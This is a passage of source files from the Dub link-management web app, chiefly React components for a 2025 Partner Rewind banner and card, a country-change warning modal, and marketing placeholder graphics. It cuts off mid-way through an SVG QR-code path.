    "content": "export const REWIND_YEAR = 2025;\n\nexport const REWIND_ASSETS_PATH =\n  \"https://assets.dub.co/misc/partner-rewind-2025\";\n\nexport const REWIND_STEPS: {\n  id: string;\n  percentileId: string;\n  label: string;\n  valueType: \"number\" | \"currency\";\n  image: string;\n  video: string;\n}[] = [\n  {\n    id: \"totalEarnings\",\n    percentileId: \"earningsPercentile\",\n    label: \"Total earnings\",\n    valueType: \"currency\",\n    image: \"earning.png\",\n    video: \"earning.webm\",\n  },\n  {\n    id: \"totalClicks\",\n    percentileId: \"clicksPercentile\",\n    label: \"Link clicks\",\n    valueType: \"number\",\n    image: \"click.png\",\n    video: \"click.webm\",\n  },\n  {\n    id: \"totalLeads\",\n    percentileId: \"leadsPercentile\",\n    label: \"Leads generated\",\n    valueType: \"number\",\n    image: \"lead.png\",\n    video: \"lead.webm\",\n  },\n  {\n    id: \"totalRevenue\",\n    percentileId: \"revenuePercentile\",\n    label: \"Revenue generated\",\n    valueType: \"currency\",\n    image: \"revenue.png\",\n    video: \"revenue.webm\",\n  },\n];\n\nexport const REWIND_PERCENTILES = [\n  {\n    minPercentile: 99,\n    label: \"Top 1%\",\n  },\n  {\n    minPercentile: 95,\n    label: \"Top 5%\",\n  },\n  {\n    minPercentile: 90,\n    label: \"Top 10%\",\n  },\n  {\n    minPercentile: 75,\n    label: \"Top 25%\",\n  },\n];\n"
  },
  {
    "path": "apps/web/ui/partners/rewind/partner-rewind-banner.tsx",
    "content": "\"use client\";\n\nimport usePartnerRewind from \"@/lib/swr/use-partner-rewind\";\nimport { X } from \"@/ui/shared/icons\";\nimport { Button, Grid, buttonVariants } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { AnimatePresence, motion } from \"motion/react\";\nimport Link from \"next/link\";\nimport { ProgramMarketplaceBanner } from \"../program-marketplace/program-marketplace-banner\";\nimport { usePartnerRewindStatus } from \"./use-partner-rewind-status\";\n\nexport function PartnerRewindBanner() {\n  const { partnerRewind } = usePartnerRewind();\n  const { status, setStatus } = usePartnerRewindStatus();\n\n  if (!partnerRewind) return <ProgramMarketplaceBanner />;\n\n  return (\n    <AnimatePresence>\n      {status === \"banner\" ? (\n        <motion.div\n          initial={{ opacity: 0, height: 0 }}\n          animate={{ opacity: 1, height: \"auto\" }}\n          exit={{ opacity: 0, height: 0 }}\n          transition={{ duration: 0.2 }}\n          className=\"overflow-hidden\"\n        >\n          <div\n            className={cn(\n              \"border-border-subtle relative mb-4 gap-x-2 overflow-hidden rounded-xl border bg-white sm:h-12 lg:mb-6\",\n            )}\n          >\n            <div className=\"absolute inset-0\">\n              <div\n                className={cn(\n                  \"absolute inset-0 opacity-10 blur-xl sm:-scale-x-100 sm:opacity-20\",\n                  \"[background-image:radial-gradient(140%_146%_at_93%_14%,#72FE7D,rgba(114,254,125,0)_50%),radial-gradient(126%_82%_at_56%_100%,#FD3A4E,rgba(253,58,78,0)_50%),radial-gradient(131%_124%_at_11%_35%,#855AFC,rgba(133,90,252,0)_50%),radial-gradient(117%_77%_at_100%_100%,#E4C795,rgba(228,199,149,0)_50%),radial-gradient(86%_74%_at_40%_59%,#3A8BFD,rgba(58,139,253,0)_50%),radial-gradient(115%_96%_at_42%_69%,#EEA5BA,rgba(238,165,186,0)_50%)]\",\n                )}\n              />\n              <Grid\n                cellSize={32}\n                strokeWidth={2}\n                patternOffset={[-8, -12]}\n                className=\"text-border-subtle/40 [mask-image:linear-gradient(90deg,black_50%,#0003_100%)]\"\n              />\n            </div>\n\n            <div className=\"relative flex h-full flex-col justify-between sm:flex-row\">\n              <div className=\"flex h-full min-w-0 flex-col gap-x-2 sm:flex-row sm:items-center\">\n                <div className=\"h-full shrink-0 overflow-hidden px-2 py-3 sm:p-0\">\n                  <div className=\"relative h-24 w-40 shrink-0 sm:h-full sm:w-16\">\n                    <div className=\"absolute left-2 right-0 top-1/2 h-full -translate-y-1/2 sm:h-24 sm:rotate-[-4deg]\">\n                      <img\n                        src=\"https://assets.dub.co/misc/partner-rewind-2025/revenue.png\"\n                        alt=\"\"\n                        className=\"size-full object-contain object-left\"\n                      />\n                    </div>\n                  </div>\n                </div>\n\n                <p\n                  className=\"text-content-subtle sm:@[1000px]/page:text-base flex min-w-0 flex-col px-3 text-base sm:block sm:truncate sm:px-0 sm:text-sm\"\n                  title=\"Your Dub Partner Rewind &rsquo;25 is ready. See how you performed this year on Dub Partners!\"\n                >\n                  <span className=\"text-content-emphasis font-semibold\">\n                    Your Dub Partner Rewind &rsquo;25 is ready.\n                  </span>{\" \"}\n                  <span className=\"font-medium\">\n                    See how you performed this year on Dub Partners!\n                  </span>\n                </p>\n              </div>\n\n              <div className=\"flex items-center gap-2 p-3 sm:px-2 sm:py-0\">\n                <Link\n                  href=\"/rewind/2025\"\n                  className={cn(\n                    buttonVariants({ variant: \"primary\" }),\n                    \"flex h-8 w-fit items-center justify-center whitespace-nowrap rounded-lg border px-3 text-sm\",\n                  )}\n                >\n                  View your rewind\n                </Link>\n\n                {/* > mobile close button */}\n                <Button\n                  variant=\"outline\"\n                  icon={<X className=\"size-4\" />}\n                  className=\"hidden size-8 rounded-lg bg-black/5 p-0 hover:bg-black/10 sm:flex\"\n                  onClick={() => setStatus(\"card\")}\n                />\n              </div>\n            </div>\n\n            {/* Mobile close button */}\n            <Button\n              variant=\"outline\"\n              icon={<X className=\"size-4\" />}\n              className=\"absolute right-2 top-2 size-8 rounded-lg bg-black/5 p-0 hover:bg-black/10 sm:hidden\"\n              onClick={() => setStatus(\"card\")}\n            />\n          </div>\n        </motion.div>\n      ) : (\n        <ProgramMarketplaceBanner />\n      )}\n    </AnimatePresence>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/rewind/partner-rewind-card.tsx",
    "content": "\"use client\";\n\nimport usePartnerRewind from \"@/lib/swr/use-partner-rewind\";\nimport { Grid, buttonVariants } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { AnimatePresence, motion } from \"motion/react\";\nimport Link from \"next/link\";\nimport { usePathname } from \"next/navigation\";\nimport { usePartnerRewindStatus } from \"./use-partner-rewind-status\";\n\nexport function PartnerRewindCard() {\n  const pathname = usePathname();\n\n  const { partnerRewind } = usePartnerRewind();\n  const { status } = usePartnerRewindStatus();\n\n  if (!partnerRewind || status !== \"card\") return null;\n\n  return (\n    <AnimatePresence>\n      {!pathname.endsWith(\"/rewind/2025\") && (\n        <motion.div\n          initial={{ opacity: 0, y: 10 }}\n          animate={{ opacity: 1, y: 0 }}\n          exit={{ opacity: 0, y: 10 }}\n          transition={{ duration: 0.2 }}\n          className={cn(\n            \"border-border-subtle relative m-3 mt-8 select-none gap-2 overflow-hidden rounded-lg border bg-white\",\n          )}\n        >\n          <div className=\"absolute inset-0 [background-image:radial-gradient(200%_150%_at_100%_0%,#855AFC22,transparent_50%)]\">\n            <Grid\n              cellSize={32}\n              strokeWidth={2}\n              patternOffset={[-8, -12]}\n              className=\"text-border-subtle/40 [mask-image:linear-gradient(45deg,black_50%,#0003_100%)]\"\n            />\n          </div>\n\n          <div className=\"relative flex flex-col gap-3 p-3\">\n            <img\n              src=\"https://assets.dub.co/misc/partner-rewind-2025/revenue.png\"\n              alt=\"\"\n              draggable={false}\n              className=\"h-20 object-contain object-left\"\n            />\n\n            <div className=\"flex flex-col\">\n              <span className=\"text-content-emphasis line-clamp-1 text-sm font-semibold\">\n                Dub Partner Rewind &rsquo;25\n              </span>\n              <p className=\"text-content-subtle line-clamp-2 text-xs\">\n                See how you performed this year on Dub Partners!\n              </p>\n            </div>\n\n            <Link\n              href=\"/rewind/2025\"\n              className={cn(\n                buttonVariants({ variant: \"primary\" }),\n                \"flex h-6 w-fit items-center justify-center whitespace-nowrap rounded-md border px-1.5 text-xs\",\n              )}\n            >\n              View your rewind\n            </Link>\n          </div>\n        </motion.div>\n      )}\n    </AnimatePresence>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/rewind/use-partner-rewind-status.tsx",
    "content": "import { useSyncedLocalStorage } from \"@/lib/hooks/use-synced-local-storage\";\n\nconst partnerRewindStatuses = [\"banner\", \"card\"] as const;\ntype PartnerRewindStatus = (typeof partnerRewindStatuses)[number];\n\nexport function usePartnerRewindStatus(): {\n  status: PartnerRewindStatus;\n  setStatus: (status: PartnerRewindStatus) => void;\n} {\n  const [status, setStatus] = useSyncedLocalStorage<string>(\n    \"partner-rewind-status\",\n    \"banner\",\n  );\n\n  return {\n    status: partnerRewindStatuses.find((s) => s === status) ?? \"banner\",\n    setStatus,\n  };\n}\n"
  },
  {
    "path": "apps/web/ui/partners/trusted-partner-badge.tsx",
    "content": "import { Tooltip } from \"@dub/ui\";\n\nexport function TrustedPartnerBadge() {\n  return (\n    <Tooltip\n      content={\n        <div className=\"flex max-w-xs items-start gap-2 p-3\">\n          <img\n            alt=\"Trusted partner badge\"\n            src=\"https://assets.dub.co/icons/trusted-badge.svg\"\n            className=\"size-6 shrink-0\"\n          />\n          <div className=\"flex flex-col gap-1\">\n            <span className=\"text-sm font-semibold text-neutral-900\">\n              Trusted Partner\n            </span>\n            <span className=\"text-sm font-normal text-neutral-600\">\n              This partner is a top-performer and trusted on the Dub Partner\n              Network.\n            </span>\n          </div>\n        </div>\n      }\n    >\n      <div className=\"absolute -bottom-1 -right-1 overflow-hidden transition-transform duration-100 hover:scale-[1.15]\">\n        <img\n          alt=\"Trusted partner badge\"\n          src=\"https://assets.dub.co/icons/trusted-badge.svg\"\n          className=\"size-6\"\n        />\n      </div>\n    </Tooltip>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/use-country-change-warning-modal.tsx",
    "content": "\"use client\";\n\nimport { Button, Modal } from \"@dub/ui\";\nimport { useCallback, useRef, useState } from \"react\";\n\nexport function useCountryChangeWarningModal() {\n  const [showModalState, setShowModalState] = useState(false);\n  const [isAcknowledged, setIsAcknowledged] = useState(false);\n  const onAcknowledgeRef = useRef<(() => void) | null>(null);\n\n  const handleCancel = useCallback(() => {\n    onAcknowledgeRef.current = null;\n    setShowModalState(false);\n  }, []);\n\n  const handleAcknowledge = useCallback(() => {\n    setIsAcknowledged(true);\n    setShowModalState(false);\n    onAcknowledgeRef.current?.();\n    onAcknowledgeRef.current = null;\n  }, []);\n\n  const modal = (\n    <Modal\n      showModal={showModalState}\n      setShowModal={setShowModalState}\n      onClose={handleCancel}\n    >\n      <div className=\"border-border-subtle border-b bg-white p-5 text-left\">\n        <h3 className=\"text-content-emphasis text-base font-semibold\">\n          Updating your country\n        </h3>\n      </div>\n\n      <div className=\"text-content-subtle bg-neutral-50 p-5 text-sm\">\n        <p>\n          You must select the country where you legally reside for tax purposes.\n          Providing incorrect information may result in account suspension, loss\n          of payouts, and legal action.\n        </p>\n        <p className=\"mt-4\">\n          Dub is not responsible for legal or tax consequences resulting from\n          misrepresentation.\n        </p>\n      </div>\n\n      <div className=\"border-border-subtle flex items-center justify-end gap-2 border-t bg-neutral-50 px-5 py-4\">\n        <Button\n          variant=\"secondary\"\n          className=\"h-8 w-fit px-3\"\n          text=\"Cancel\"\n          onClick={handleCancel}\n        />\n        <Button\n          variant=\"primary\"\n          className=\"h-8 w-fit px-3\"\n          text=\"I acknowledge\"\n          onClick={handleAcknowledge}\n        />\n      </div>\n    </Modal>\n  );\n\n  const showModal = useCallback(() => {\n    onAcknowledgeRef.current = null;\n    setShowModalState(true);\n  }, []);\n\n  const acknowledgeAndContinue = useCallback((callback?: () => void) => {\n    onAcknowledgeRef.current = callback ?? null;\n    setShowModalState(true);\n  }, []);\n\n  return {\n    modal,\n    showModal,\n    isAcknowledged,\n    acknowledgeAndContinue,\n  };\n}\n"
  },
  {
    "path": "apps/web/ui/placeholders/bubble-icon.tsx",
    "content": "\"use client\";\n\nimport { PropsWithChildren, useEffect, useRef } from \"react\";\n\nexport function BubbleIcon({ children }: PropsWithChildren) {\n  const ref = useRef<HTMLDivElement>(null);\n\n  // Pass relative mouse position to the element\n  useEffect(() => {\n    const handler = (e: MouseEvent) => {\n      if (!ref.current) return;\n\n      const boundingRect = ref.current.getBoundingClientRect();\n      ref.current.style.setProperty(\n        \"--mx\",\n        ((e.clientX - boundingRect.left) / boundingRect.width).toString(),\n      );\n      ref.current.style.setProperty(\n        \"--my\",\n        ((e.clientY - boundingRect.top) / boundingRect.height).toString(),\n      );\n    };\n\n    window.addEventListener(\"mousemove\", handler);\n    return () => window.removeEventListener(\"mousemove\", handler);\n  }, [ref]);\n\n  return (\n    <div\n      ref={ref}\n      className=\"rounded-full [perspective:500px]\"\n      style={{\n        filter: `\n            drop-shadow(0 3px 6px #5242511A)\n            drop-shadow(0 12px 12px #52425117)\n            drop-shadow(0 26px 16px #5242510D)\n            drop-shadow(0 47px 19px #52425103)\n            drop-shadow(0 73px 20px #52425100)\n          `,\n      }}\n    >\n      <div\n        className=\"relative rounded-full bg-gradient-to-b from-neutral-100 to-neutral-300 p-px transition-[transform] duration-[50ms]\"\n        style={{\n          transform: `rotateY(clamp(-20deg, calc(var(--mx, 0.5) * 4deg), 20deg)) rotateX(clamp(-20deg, calc(var(--my, 0.5) * -4deg), 20deg))`,\n        }}\n      >\n        <div className=\"flex size-[104px] items-center justify-center rounded-full bg-gradient-to-b from-white to-neutral-100\">\n          {children}\n        </div>\n\n        <div className=\"absolute inset-0 rounded-full bg-gradient-to-t from-[#fff8]\" />\n\n        <div\n          className=\"absolute inset-0 rounded-full opacity-70 blur-sm\"\n          style={{\n            backgroundImage: `\n            radial-gradient(circle at 0% 100%, #ffdbe5, transparent 40%),\n            radial-gradient(circle at 50% 120%, #c8cff8, transparent 30%),\n            radial-gradient(circle at 100% 100%, #ccfac8, transparent 40%)\n          `,\n          }}\n        />\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/placeholders/button-link.tsx",
    "content": "\"use client\";\n\nimport { ButtonProps, buttonVariants } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport Link from \"next/link\";\nimport { ComponentProps } from \"react\";\n\nexport function ButtonLink({\n  variant,\n  className,\n  ...rest\n}: Pick<ButtonProps, \"variant\"> & ComponentProps<typeof Link>) {\n  return (\n    <Link\n      {...rest}\n      className={cn(\n        \"flex h-10 w-fit items-center whitespace-nowrap rounded-lg border px-5 text-base\",\n        buttonVariants({ variant }),\n        className,\n      )}\n    />\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/placeholders/cta.tsx",
    "content": "import { Grid } from \"@dub/ui\";\nimport { cn, createHref, UTMTags } from \"@dub/utils\";\nimport { Star, StarHalf } from \"lucide-react\";\nimport { ReactNode } from \"react\";\nimport { ButtonLink } from \"./button-link\";\nimport Logos from \"./logos\";\n\nconst RATINGS = [\n  {\n    name: \"G2\",\n    logo: \"https://assets.dub.co/companies/g2.svg\",\n    stars: 5,\n    href: \"https://www.g2.com/products/dub/reviews\",\n  },\n  {\n    name: \"Product Hunt\",\n    logo: \"https://assets.dub.co/companies/product-hunt-logo.svg\",\n    stars: 5,\n    href: \"https://www.producthunt.com/products/dub\",\n  },\n  {\n    name: \"Trustpilot\",\n    logo: \"https://assets.dub.co/companies/trustpilot.svg\",\n    stars: 4.5,\n    href: \"https://www.trustpilot.com/review/dub.co\",\n  },\n];\n\nexport function CTA({\n  domain,\n  utmParams,\n  title = \"Supercharge your marketing efforts\",\n  subtitle = \"See why Dub is the link management platform of choice for modern marketing teams.\",\n  className,\n}: {\n  domain: string;\n  utmParams?: Partial<Record<(typeof UTMTags)[number], string>>;\n  title?: ReactNode;\n  subtitle?: ReactNode;\n  className?: string;\n}) {\n  return (\n    <div\n      className={cn(\n        \"relative mx-auto mb-20 mt-12 w-full max-w-screen-lg overflow-hidden rounded-2xl bg-neutral-50 px-6 pb-16 pt-10 text-center sm:mt-0 sm:px-0 sm:px-12\",\n        className,\n      )}\n    >\n      <Grid\n        cellSize={80}\n        patternOffset={[1, -20]}\n        className=\"inset-[unset] left-1/2 top-0 w-[1200px] -translate-x-1/2 text-neutral-200 [mask-image:linear-gradient(black_50%,transparent)]\"\n      />\n      <div className=\"absolute -left-1/4 -top-1/2 h-[135%] w-[150%] opacity-5 blur-[130px] [transform:translate3d(0,0,0)]\">\n        <div className=\"size-full bg-[conic-gradient(from_-66deg,#855AFC_-32deg,#f00_63deg,#EAB308_158deg,#5CFF80_240deg,#855AFC_328deg,#f00_423deg)] [mask-image:radial-gradient(closest-side,black_100%,transparent_100%)]\" />\n      </div>\n\n      <div className=\"relative mx-auto my-8 flex w-fit gap-8\">\n        {RATINGS.map(({ href, name, logo, stars }, idx) => (\n          <a\n            key={idx}\n            href={href}\n            target=\"_blank\"\n            className=\"group flex flex-col items-center\"\n          >\n            <img\n              src={logo}\n              alt={name}\n              className=\"size-6 transition-transform duration-150 group-hover:scale-105\"\n            />\n            <div className=\"mt-4 flex items-center gap-1.5 text-black\">\n              {[...Array(Math.floor(stars))].map((_, idx) => (\n                <Star\n                  key={idx}\n                  fill=\"currentColor\"\n                  strokeWidth={0}\n                  className=\"size-4 text-amber-500\"\n                />\n              ))}\n              {stars % 1 > 0 && (\n                <StarHalf\n                  fill=\"currentColor\"\n                  strokeWidth={0}\n                  className=\"size-4 text-amber-500\"\n                />\n              )}\n            </div>\n            <p className=\"mt-2 text-xs text-neutral-500\">{stars} out of 5</p>\n          </a>\n        ))}\n      </div>\n\n      <div className=\"relative mx-auto mt-1.5 flex w-full max-w-xl flex-col items-center\">\n        <h2 className=\"font-display text-balance text-4xl font-medium text-neutral-900 sm:text-[2.5rem] sm:leading-[1.15]\">\n          {title}\n        </h2>\n        <p className=\"mt-5 text-balance text-base text-neutral-500 sm:text-xl\">\n          {subtitle}\n        </p>\n      </div>\n\n      <div className=\"relative mx-auto mt-10 flex max-w-fit space-x-4\">\n        <ButtonLink variant=\"primary\" href=\"https://app.dub.co/register\">\n          Start for free\n        </ButtonLink>\n        <ButtonLink\n          variant=\"secondary\"\n          href={createHref(\"/enterprise\", domain, {\n            utm_source: \"Custom Domain\",\n            utm_medium: \"Welcome Page\",\n            utm_campaign: domain,\n            utm_content: \"Get a demo\",\n          })}\n        >\n          Get a demo\n        </ButtonLink>\n      </div>\n\n      <div className=\"relative\">\n        <Logos\n          domain={domain}\n          utmParams={utmParams}\n          className=\"mb-0 mt-8 max-w-screen-md\"\n        />\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/placeholders/feature-graphics/analytics.tsx",
    "content": "import Image from \"next/image\";\n\nexport function Analytics() {\n  return (\n    <div\n      aria-hidden\n      className=\"size-full select-none [mask-image:linear-gradient(black_60%,transparent)]\"\n    >\n      <div className=\"relative mx-3.5 h-full overflow-hidden rounded-t-xl border-x border-t border-neutral-200 shadow-[0_20px_20px_0_#00000017]\">\n        <Image\n          src=\"https://assets.dub.co/home/analytics.png\"\n          alt=\"Analytics\"\n          fill\n          draggable={false}\n          className=\"object-cover object-left-top\"\n        />\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/placeholders/feature-graphics/collaboration.tsx",
    "content": "import { cn } from \"@dub/utils\";\n\nexport function Collaboration() {\n  return (\n    <div\n      className=\"size-full pt-5 [mask-image:linear-gradient(black_50%,transparent)]\"\n      aria-hidden\n    >\n      <div className=\"relative size-full rounded-t-2xl border-x-2 border-t-2 border-orange-600 bg-white/70\">\n        <div className=\"absolute -top-px left-1/2 flex h-7 -translate-x-1/2 -translate-y-1/2 drop-shadow-[0_2px_4px_#EA590D80]\">\n          <BadgeCap />\n          <div className=\"-mx-px flex h-full items-center bg-orange-600 px-2 font-mono text-sm tracking-wide text-white\">\n            SAML SSO\n          </div>\n          <BadgeCap className=\"-scale-x-100\" />\n        </div>\n        <div className=\"grid grid-cols-6 gap-4 p-8\">\n          {Array.from({ length: 36 }).map((_, idx) => (\n            <div\n              key={idx}\n              className=\"aspect-square rounded-lg bg-neutral-300 transition-transform hover:scale-110 sm:rounded-xl\"\n              style={{\n                backgroundImage: \"url(https://assets.dub.co/home/people.png)\",\n                backgroundSize: \"3600%\", // 36 images\n                backgroundPositionX: idx * 100 + \"%\",\n              }}\n            />\n          ))}\n        </div>\n      </div>\n    </div>\n  );\n}\n\nfunction BadgeCap({ className }: { className?: string }) {\n  return (\n    <svg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      width=\"31\"\n      height=\"30\"\n      fill=\"none\"\n      viewBox=\"0 0 28 30\"\n      className={cn(\"h-full text-orange-600\", className)}\n    >\n      <path\n        fill=\"currentColor\"\n        d=\"M25.658.14h5.337v29.572h-5.337a9.24 9.24 0 0 1-6.626-2.8l-4.327-4.45A26.2 26.2 0 0 0 .5 14.926a26.2 26.2 0 0 0 14.205-7.535l4.327-4.451a9.24 9.24 0 0 1 6.626-2.8\"\n      />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/placeholders/feature-graphics/domains.tsx",
    "content": "import { CursorRays, FlagWavy, LinkLogo } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { CSSProperties } from \"react\";\n\nconst DOMAINS = [\n  {\n    domain: \"acme.co\",\n    clicks: \"15.6K\",\n    primary: true,\n  },\n  {\n    domain: \"acme.li\",\n    clicks: \"3.7K\",\n  },\n  {\n    domain: \"acme.me\",\n    clicks: \"2.4K\",\n  },\n];\n\nexport function Domains() {\n  return (\n    <div className=\"flex size-full flex-col justify-center\" aria-hidden>\n      <div className=\"flex flex-col gap-2.5 [mask-image:linear-gradient(90deg,black_70%,transparent)]\">\n        {DOMAINS.map(({ domain, clicks, primary }, idx) => (\n          <div\n            key={domain}\n            className=\"transition-transform duration-300 hover:translate-x-[-2%]\"\n          >\n            <div\n              className={cn(\n                \"flex cursor-default items-center gap-3 rounded-xl border border-neutral-200 bg-white p-4 shadow-sm\",\n                \"ml-[calc((var(--idx)+1)*5%)]\",\n              )}\n              style={{ \"--idx\": idx } as CSSProperties}\n            >\n              <div className=\"flex-none rounded-full border border-neutral-200 bg-gradient-to-t from-neutral-100 p-2\">\n                <LinkLogo apexDomain=\"dub.co\" className=\"size-6 sm:size-6\" />\n              </div>\n\n              <span className=\"text-base font-medium text-neutral-900\">\n                {domain}\n              </span>\n\n              <div className=\"ml-2 flex items-center gap-x-1 rounded-md border border-neutral-200 bg-neutral-50 px-2 py-[0.2rem]\">\n                <CursorRays className=\"h-4 w-4 text-neutral-700\" />\n                <div className=\"flex items-center whitespace-nowrap text-sm text-neutral-500\">\n                  {clicks}\n                  <span className=\"ml-1 hidden sm:inline-block\">clicks</span>\n                </div>\n              </div>\n\n              {primary && (\n                <div className=\"flex items-center gap-x-1 rounded-md border border-blue-100 bg-blue-50 px-2 py-[0.2rem]\">\n                  <FlagWavy className=\"h-4 w-4 text-blue-700\" />\n                  <div className=\"flex items-center whitespace-nowrap text-sm text-blue-600\">\n                    Primary\n                  </div>\n                </div>\n              )}\n            </div>\n          </div>\n        ))}\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/placeholders/feature-graphics/personalization.tsx",
    "content": "\"use client\";\n\nimport {\n  Cards,\n  CircleHalfDottedClock,\n  Crosshairs3,\n  DiamondTurnRight,\n  InputPassword,\n  Switch,\n} from \"@dub/ui\";\nimport { useState } from \"react\";\n\nconst OPTIONS = [\n  {\n    label: \"Link Preview\",\n    icon: Cards,\n    checked: true,\n  },\n  {\n    label: \"UTM\",\n    icon: DiamondTurnRight,\n    checked: true,\n  },\n  {\n    label: \"Expiration\",\n    icon: CircleHalfDottedClock,\n    checked: false,\n  },\n  {\n    label: \"Targeting\",\n    icon: Crosshairs3,\n    checked: true,\n  },\n  {\n    label: \"Password\",\n    icon: InputPassword,\n    checked: true,\n  },\n];\n\nexport function Personalization() {\n  return (\n    <div\n      className=\"size-full overflow-clip [mask-image:linear-gradient(black_70%,transparent)]\"\n      aria-hidden\n      tabIndex={-1}\n    >\n      <div className=\"mx-3.5 flex cursor-default flex-col gap-3 rounded-xl border border-neutral-200 bg-white p-5 shadow-[0_20px_20px_0_#00000017]\">\n        <h3 className=\"text-base font-medium\">Link customization</h3>\n\n        <div className=\"flex flex-col gap-2.5\">\n          {OPTIONS.map(({ label, icon: Icon, checked }) => (\n            <div\n              key={label}\n              className=\"flex items-center justify-between gap-2 rounded-lg border border-neutral-200 p-2.5\"\n            >\n              <div className=\"flex items-center gap-2 text-neutral-800\">\n                <Icon className=\"size-5\" />\n                <span className=\"text-sm font-medium\">{label}</span>\n              </div>\n              <div>\n                <DummySwitch checked={checked} />\n              </div>\n            </div>\n          ))}\n        </div>\n      </div>\n    </div>\n  );\n}\n\nfunction DummySwitch({ checked }: { checked: boolean }) {\n  const [isChecked, setIsChecked] = useState(checked);\n\n  return (\n    <Switch\n      checked={isChecked}\n      fn={setIsChecked}\n      trackDimensions=\"radix-state-checked:bg-orange-600 focus-visible:ring-orange-500\"\n    />\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/placeholders/feature-graphics/qr.tsx",
    "content": "\"use client\";\n\nimport {\n  ClientOnly,\n  Copy,\n  Download,\n  ShimmerDots,\n  Switch,\n  useMediaQuery,\n} from \"@dub/ui\";\nimport { DUB_QR_LOGO, cn } from \"@dub/utils\";\nimport { HelpCircle } from \"lucide-react\";\nimport { useState } from \"react\";\n\nexport function QR() {\n  const { isMobile } = useMediaQuery();\n\n  const [hideLogo, setHideLogo] = useState(false);\n\n  return (\n    <div className=\"size-full [mask-image:linear-gradient(black_70%,transparent)]\">\n      <div\n        className=\"mx-3.5 flex origin-top scale-95 cursor-default flex-col gap-6 rounded-xl border border-neutral-200 bg-white p-4 shadow-[0_20px_20px_0_#00000017]\"\n        aria-hidden\n      >\n        <div className=\"flex items-center justify-between\">\n          <h3 className=\"text-base font-medium\">QR Code Design</h3>\n          <div className=\"max-md:hidden\" aria-hidden>\n            <kbd className=\"flex size-6 cursor-default items-center justify-center rounded-md border border-neutral-200 font-sans text-xs text-neutral-950\">\n              Q\n            </kbd>\n          </div>\n        </div>\n\n        <div>\n          <div className=\"flex items-center justify-between gap-2\">\n            <div className=\"flex items-center gap-2\">\n              <span className=\"text-sm font-medium text-neutral-700\">\n                QR Code Preview\n              </span>\n              <HelpCircle className=\"size-4 text-neutral-500\" />\n            </div>\n            <div className=\"flex h-6 items-center gap-3 px-1\">\n              <Download className=\"size-4 text-neutral-500\" />\n              <Copy className=\"size-4 text-neutral-500\" />\n            </div>\n          </div>\n          <div className=\"relative mt-2 flex h-40 items-center justify-center overflow-hidden rounded-md border border-neutral-300\">\n            <ClientOnly>\n              {!isMobile && (\n                <ShimmerDots className=\"opacity-30 [mask-image:radial-gradient(40%_80%,transparent_50%,black)]\" />\n              )}\n            </ClientOnly>\n            <div className=\"relative flex size-full items-center justify-center\">\n              <QRCode hideLogo={hideLogo} />\n            </div>\n          </div>\n        </div>\n\n        {/* Logo toggle */}\n        <div className=\"flex items-center justify-between\">\n          <div className=\"flex items-center gap-2\">\n            <span className=\"text-sm font-medium text-neutral-700\">Logo</span>\n            <HelpCircle className=\"size-4 text-neutral-500\" />\n          </div>\n          <Switch\n            checked={!hideLogo}\n            fn={(checked) => {\n              setHideLogo(!checked);\n            }}\n          />\n        </div>\n      </div>\n    </div>\n  );\n}\n\nfunction QRCode({ hideLogo }: { hideLogo: boolean }) {\n  return (\n    <svg width=\"128\" height=\"128\" viewBox=\"0 0 29 29\">\n      <path fill=\"#fff\" d=\"M0 0h29v29H0z\" shapeRendering=\"crispEdges\" />\n      <path\n        d=\"M2 2h7v1H2zM10 2h1v1H10zM12 2h2v1H12zM17 2h1v1H17zM20,2 h7v1H20zM2 3h1v1H2zM8 3h1v1H8zM11 3h1v1H11zM13 3h3v1H13zM17 3h1v1H17zM20 3h1v1H20zM26,3 h1v1H26zM2 4h1v1H2zM4 4h3v1H4zM8 4h1v1H8zM10 4h2v1H10zM18 4h1v1H18zM20 4h1v1H20zM22 4h3v1H22zM26,4 h1v1H26zM2 5h1v1H2zM4 5h3v1H4zM8 5h1v1H8zM10 5h1v1H10zM13 5h2v1H13zM17 5h2v1H17zM20 5h1v1H20zM22 5h3v1H22zM26,5 h1v1H26zM2 6h1v1H2zM4 6h3v1H4zM8 6h1v1H8zM12 6h2v1H12zM17 6h2v1H17zM20 6h1v1H20zM22 6h3v1H22zM26,6 h1v1H26zM2 7h1v1H2zM8 7h1v1H8zM10 7h4v1H10zM15 7h1v1H15zM17 7h2v1H17zM20 7h1v1H20zM26,7 h1v1H26zM2 8h7v1H2zM10 8h1v1H10zM12 8h1v1H12zM14 8h1v1H14zM16 8h1v1H16zM18 8h1v1H18zM20,8 h7v1H20zM10 9h1v1H10zM12 9h1v1H12zM14 9h1v1H14zM16 9h1v1H16zM3 10h1v1H3zM5 10h1v1H5zM7 10h5v1H7zM13 10h3v1H13zM17 10h1v1H17zM19 10h3v1H19zM23 10h2v1H23zM26,10 h1v1H26zM3 11h4v1H3zM10 11h1v1H10zM12 11h1v1H12zM15 11h2v1H15zM19 11h3v1H19zM26,11 h1v1H26zM2 12h1v1H2zM7 12h2v1H7zM11 12h2v1H11zM14 12h3v1H14zM19 12h1v1H19zM21 12h2v1H21zM25,12 h2v1H25zM2 13h3v1H2zM6 13h1v1H6zM13 13h1v1H13zM15 13h1v1H15zM20 13h1v1H20zM22 13h1v1H22zM3 14h1v1H3zM6 14h4v1H6zM13 14h2v1H13zM16 14h1v1H16zM19 14h2v1H19zM23 14h1v1H23zM25,14 h2v1H25zM11 15h1v1H11zM14 15h2v1H14zM20 15h2v1H20zM23 15h2v1H23zM26,15 h1v1H26zM2 16h1v1H2zM4 16h1v1H4zM7 16h2v1H7zM10 16h1v1H10zM16 16h1v1H16zM20 16h3v1H20zM24 16h1v1H24zM26,16 h1v1H26zM3 